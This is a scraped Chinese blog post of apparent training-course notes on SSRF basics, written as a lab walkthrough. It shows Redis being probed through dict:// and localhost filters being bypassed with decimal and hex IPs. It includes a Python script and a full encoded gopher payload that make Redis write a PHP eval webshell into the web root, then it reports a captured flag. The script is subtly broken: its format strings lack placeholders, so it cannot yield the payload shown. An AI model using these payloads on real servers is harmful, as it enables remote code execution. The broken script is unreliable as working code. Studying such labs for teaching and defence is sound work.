零号培训平台课程-2SSRF基础

Posted 大灬白

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了零号培训平台课程-2SSRF基础相关的知识,希望对你有一定的参考价值。

漏洞原理:

协议利用
• File协议
• 本地文件传输协议
• 任意文件读取
• Dict协议
• 字典服务器协议
• 操作Redis
• Gopher协议
• 分布型的文件搜集获取网络协议。
• 支持多行
• 操作Redis、Memcached、fastcgi、mysql

输入:
Dict://127.0.0.1:6379/info

本地IP地址被过滤:
绕过的方法有多种,1、把IP地址转换成10进制、16进制

输入:
dict://2130706433:6379/info

dict://0x7F000001:6379/info

Python代码生成gopher协议报文写入webshell

#/usr/bin/python

import urllib

protocol="gopher://"
# redis所在服务器的IP,10进制IP:127.0.0.1
ip="2130706433"
port="6379"
# php代码,POST方式提交、GET方式提交
shell="\\n\\n<?php eval($_POST[\\"cmd\\"]);?>\\n\\n"
filename="shell.php"
# web服务所在目录
path="/var/www/html"
passwd=""
cmd=["flushall",
   "set 1 ".format(shell.replace(" ","$IFS")),
   "config set dir ".format(path),
   "config set dbfilename ".format(filename),
   "save"
   ]

if passwd:
   cmd.insert(0,"AUTH ".format(passwd))
payload=protocol+ip+":"+port+"/_"

def redis_format(arr):
   CRLF="\\r\\n"
   redis_arr = arr.split(" ")
   cmd=""
   cmd+="*"+str(len(redis_arr))
   for x in redis_arr:
      cmd+=CRLF+"$"+str(len((x.replace("$IFS"," "))))+CRLF+x.replace("$IFS"," ")
   cmd+=CRLF
   return cmd

if __name__=="__main__":
   for x in cmd:
      payload += urllib.parse.quote(redis_format(x))
   print(payload)

通过gopher协议向本地127.0.0.1的web目录/var/www/html下写入一句话木马webshell:
gopher://2130706433:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%22cmd%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

连接目标webshell

找到写入的shell.php和flag

Flag:ea56f7b7ac613b8ca0e6ebb54b66eb91

以上是关于零号培训平台课程-2SSRF基础的主要内容,如果未能解决你的问题,请参考以下文章

零号培训平台课程-2SSRF基础

零号培训平台课程-1SQL注入基础

零号培训平台课程-1SQL注入基础

零号培训平台课程-1SQL注入基础

零号培训平台课程-4 CSRF

零号培训平台课程-4 CSRF